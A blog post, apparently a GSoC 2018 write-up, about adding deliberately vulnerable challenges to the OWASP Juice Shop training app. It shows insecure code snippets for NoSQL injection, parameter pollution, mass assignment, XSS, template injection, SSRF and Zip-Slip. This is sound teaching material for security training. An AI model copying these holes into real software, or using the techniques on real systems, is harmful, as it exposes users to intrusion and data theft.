&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/572&quot;&gt;Forged Review&lt;/a&gt;&lt;br&gt;
Vulnerable Code-Snippet :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;module.exports = function productReviews () {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  return (req, res, next) =&amp;gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // No check of object ownership :)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    db.reviews.insert({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      product: req.params.id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      message: req.body.message,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      author: req.body.author,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      likesCount: 0,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      likedBy: []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }).then(result =&amp;gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      res.status(201).json({ staus: &apos;success&apos; })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }, err =&amp;gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      res.status(500).json(err)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;Vulnerable-Node-Module-Challenge&quot;&gt;“Vulnerable Node Module” Challenge&lt;/h2&gt;
&lt;p&gt;Node ecosystem heavily relies on node modules and a lot can go wrong if the modules you are using are vulnerable and outdated. This challenge got designed around the recent vulnerability disclosure called &lt;a href=&quot;https://github.com/snyk/zip-slip-vulnerability&quot;&gt;Zip-Slip&lt;/a&gt;. Archive extraction packages which are used for unzipping archives were allowing arbitrary file write at server-side. I added functionality of Multiple complaint submission through archive upload and designed the challenge of overwriting an important file of the Juice Shop. The hurdle we came upon was to properly sandbox this so that people using Juice Shop over local instance don’t overwrite the important files of their own system by mistake as crafting payload archive for this can result in mistakes because of black-box scenario. I solved it by checking absolute paths of files before extraction.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/20478531/41213943-094f86a4-6d66-11e8-807d-468b55fe5a40.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/611&quot;&gt;Vulnerable node module&lt;/a&gt;&lt;br&gt;
Vulnerable Code-Snippet :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&quot;dependencies&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;unzipper&quot;: &quot;0.8.12&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;Tier-3-NoSQL-Injection-Challenge&quot;&gt;“Tier 3 NoSQL Injection” Challenge&lt;/h2&gt;
&lt;p&gt;Juice Shop uses MarsDB as its NoSQL Database. After implementing the challenge of getting orders of all the users, I got quite a context about how and where this bug can happen in NoSQL Databases in general.&lt;/p&gt;
&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/577&quot;&gt;NoSQLi Tier 3&lt;/a&gt;&lt;br&gt;
Vulnerable Code-Snippet :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;db.orders.find({ $where: &quot;this.orderId === &apos;&quot; + req.params.id + &quot;&apos;&quot; }).then()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;HTTP-Parameter-Pollution-Challenge&quot;&gt;“HTTP Parameter Pollution” Challenge&lt;/h2&gt;
&lt;p&gt;HPP vulnerability primarily depends upon the reqest body parsers. In the case of Juice Shop, JSON parser was the default one which just takes the value of last paramater present. To implement this challenge I used different parser specifically for this challenge. Scenario of the challenge was very typical where the first occurance of paramater was used for validating but the value was taken for use from last occurance of the paramater in POST JSON body. Challenge was to succesfully edit other user’s basket.&lt;/p&gt;
&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/623&quot;&gt;HTTP Parameter Pollution&lt;/a&gt;&lt;br&gt;
Vulnerable Code-Snippet :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;if (user &amp;amp;&amp;amp; basketIds[0] &amp;amp;&amp;amp; basketIds[0] !== &apos;undefined&apos; &amp;amp;&amp;amp; user.bid != basketIds[0]) { // eslint-disable-line eqeqeq&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  res.status(401).send(&apos;{\&apos;error\&apos; : \&apos;Invalid BasketId\&apos;}&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;} else {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  const basketItem = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    ProductId: productIds[productIds.length - 1],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    BasketId: basketIds[basketIds.length - 1],      // Using value from second occurance bypasses the validation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    quantity: quantities[quantities.length - 1]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  const basketItemInstance = models.BasketItem.build(basketItem)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      basketItemInstance.save().then((basketItem) =&amp;gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        basketItem = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          status: &apos;success&apos;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          data: basketItem&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        res.json(basketItem)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      }).catch(error =&amp;gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        next(error)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;JSONP-XSSi-Challenge&quot;&gt;“JSONP/XSSi” Challenge&lt;/h2&gt;
&lt;p&gt;Even though Juice Shop doesn’t have an actual use case for JSONP because it is just one application running on single domain but for making it a complete learning resource, I added JSONP on an endpoint which returns user’s personal information wrapped up in a function whose name is decided by a &lt;code&gt;GET&lt;/code&gt; parameter called &lt;code&gt;callback&lt;/code&gt;. The challenge was to guess/bruteforce for this JSONP endpoint.&lt;/p&gt;
&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/627&quot;&gt;JSONP&lt;/a&gt;&lt;br&gt;
Vulnerable Code-Snippet :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;module.exports = function retrieveLoggedInUser () {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  return (req, res) =&amp;gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    const user = insecurity.authenticatedUsers.from(req)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    const response = { user: { id: (user &amp;amp;&amp;amp; user.data ? user.data.id : undefined), email: (user &amp;amp;&amp;amp; user.data ? user.data.email : undefined) } }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    if (req.query.callback === undefined) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      res.json(response)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    } else {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      res.jsonp(response)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;Race-Condition-Timing-Attack-Challenge&quot;&gt;“Race Condition/Timing Attack” Challenge&lt;/h2&gt;
&lt;p&gt;This was my favorite challenge to implement because of its complexity and unavailability in any other vulnerable application (as far as I know). Juice Shop can not have race condition bug naturally because it uses MarsDB and it has no reason of having that much observable latency. So we had to add that artificially. Vulnerability and Challenge structure was like following :&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/20478531/41278766-4cf64522-6e48-11e8-9377-64c4ee653b49.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/617&quot;&gt;Race Condition/Timing Attack&lt;/a&gt;&lt;br&gt;
Link to Vulnerable Code-Snippet :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;https://github.com/juice-shop/juice-shop/pull/617/files#diff-fb4c8fba3911529be7878d2553b1fed1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;Mass-Assignement-Challenge&quot;&gt;“Mass Assignement” Challenge&lt;/h2&gt;
&lt;p&gt;Mass assignment Vulnerability is very prevalent in web technologies where request’s body is mapped to objects directly using some library etc. In Juice Shop the users can become admin while signing up by adding an ingeniosly guessed extra parameter called &lt;code&gt;isAdmin&lt;/code&gt; by looking at reponses. which gets mapped to database column without any check and users get admin privileges.&lt;/p&gt;
&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/629&quot;&gt;Mass Assignement&lt;/a&gt;&lt;br&gt;
Link to Vulnerable Code-Snippet :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;https://github.com/juice-shop/juice-shop/pull/629/files#diff-45182e43f88790a0b1fdc8479ebb66b1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;Exploit-Chain-1-Challenge&quot;&gt;“Exploit Chain 1” Challenge&lt;/h2&gt;
&lt;p&gt;From the start I wanted to add a cool vulnerability chain in the Juice Shop. The exploit chain was supposed to be a chain of Login CSRF paired with Self XSS where XSS payload was sent through &lt;code&gt;True-Client-IP&lt;/code&gt; header. But due to Juice Shop’s solution checking mechanism and standalone nature, We decided to convert the chain to simple XSS.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/20478531/42200313-45a46b28-7eb0-11e8-9239-5feffad0074f.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/632&quot;&gt;Exploit Chain 1&lt;/a&gt;&lt;br&gt;
Vulnerable Code-Snippet :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$rootScope.lastLoginIp = $sce.trustAsHtml(user.lastLoginIp)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;As you can see, Even adding XSS intentionally in angular apps is tough. So my advice to all hunters, As soon as you see target is using angular, stop spraying XSS payloads.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;Server-Side-Template-Injection-Challenge&quot;&gt;“Server Side Template Injection” Challenge&lt;/h2&gt;
&lt;p&gt;This was one of my another favorite challenge to add. Initially Juice Shop used Client side rendering and was totally secure to SSTi. For adding this challenge I added the user profile page which was rendered using the jade template engine. Username field was made vulnerable to SSTi. SSTi is basically RCE for modern application which use Server Side template engine. To make this new RCE bug more cool, &lt;a href=&quot;https://twitter.com/j12934&quot;&gt;@Jannik&lt;/a&gt; suggested a very cool challenge around it which involved exploiting this RCE to infect the Juice Shop server with malware. Yep 😎 !&lt;/p&gt;
&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/655&quot;&gt;Server Side Template Injection&lt;/a&gt; Yet to be merged.&lt;br&gt;
Vulnerable Code-Snippet :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;templateString = templateString.replace(&apos;usrname&apos;, user.dataValues.username)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;var fn = jade.compile(templateString)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;res.send(fn(user.dataValues))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;Server-Side-Request-Forgery-Challenge&quot;&gt;“Server Side Request Forgery” Challenge&lt;/h2&gt;
&lt;p&gt;SSRF is a critical vulnerability if attacker is able to pivot into internal network of the target. As Juice Shop being a standalone application, doesn’t have it. So a very basic version of SSRF was implemented around the functinality of image upload using URL. The challenge gets solved when you request a hidden resource of Juice Shop server. The hidden resource is supposed to be obtained from the malware of SSTI challenge 😁.&lt;/p&gt;
&lt;p&gt;Link to PR : &lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/655&quot;&gt;Server Side Request Forgery&lt;/a&gt; Yet to be merged.&lt;br&gt;
Vulnerable Code-Snippet :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;module.exports = function profileImageUrlUpload () {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  return (req, res, next) =&amp;gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	  	var url = req.body.imageUrl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		.get(url)   // Requesting without any check&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		.on(&apos;error&apos;, function (err) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		console.log(err)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;		.pipe(fs.createWriteStream(&apos;frontend/dist/frontend/assets/public/images/uploads/&apos; + loggedInUser.data.id + &apos;.jpg&apos;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    res.location(&apos;/profile&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    res.redirect(&apos;/profile&apos;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;Abandoned-Postponed-Challenges&quot;&gt;Abandoned/Postponed Challenges&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;ImageTragick Challenge&lt;br&gt;
The reason behind abandoning this challenge was that it required a vulnerable imagemagick binary to be installed on users personal system which might cause big concerns regarding safety of users systems.&lt;/li&gt;
&lt;li&gt;Angular Template Injection Challenge&lt;/li&gt;
&lt;li&gt;Facebook Oauth Challenge&lt;br&gt;
I planned to add this challenge as soon as the SSTi-SSRF PR gets merged.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;Miscellaneous&quot;&gt;Miscellaneous&lt;/h2&gt;
&lt;p&gt;Apart from working on challenge pack, I also helped fix some of the broken functinalities after the major merging of &lt;code&gt;Frontend Upgrade&lt;/code&gt; project into &lt;code&gt;Challenge Pack&lt;/code&gt;. This was quite time taking as only @Aashish knew about the new frontend codebase. But this frontend technology upgrade was very much required for Juice Shop as it aims to properly be like modern JS web applications.&lt;/p&gt;
&lt;h1 id=&quot;Contributions-before-official-start-of-GSoC-2018&quot;&gt;Contributions before official start of GSoC-2018&lt;/h1&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/480&quot;&gt;CAPTCHA on feedbackform and Challenge&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/460&quot;&gt;Easter Egg Customization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/452&quot;&gt;Rate Limiting and its circumventionn challenge&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/444&quot;&gt;Customization in Product Tampering Challenge&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/juice-shop/juice-shop/pull/500&quot;&gt;Order Tracking Dashboard&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;Hope you learnt something new after reading this. If you haven’t already read my &lt;a href=&quot;/2018/08/18/Google-Summer-of-Code-2018/&quot;&gt;&lt;code&gt;Google Summer of Code 2018&lt;/code&gt;&lt;/a&gt; blog then please read it ☝.&lt;br&gt;
I had very good learning experience while working for OWASP Juice Shop. I will recommend every student who loves web security and developement to contribute to the Juice Shop Project.&lt;/p&gt;
&lt;p&gt;Thanks for reading the blog post.&lt;br&gt;
GodSpeed and Happy Hacking 😎.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://media.giphy.com/media/HAonhTZTaQE24/giphy.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
</content:encoded><category>Web-Security</category><category>GSoC 2018</category><category>OWASP</category><author>Shoeb Patel</author></item></channel></rss>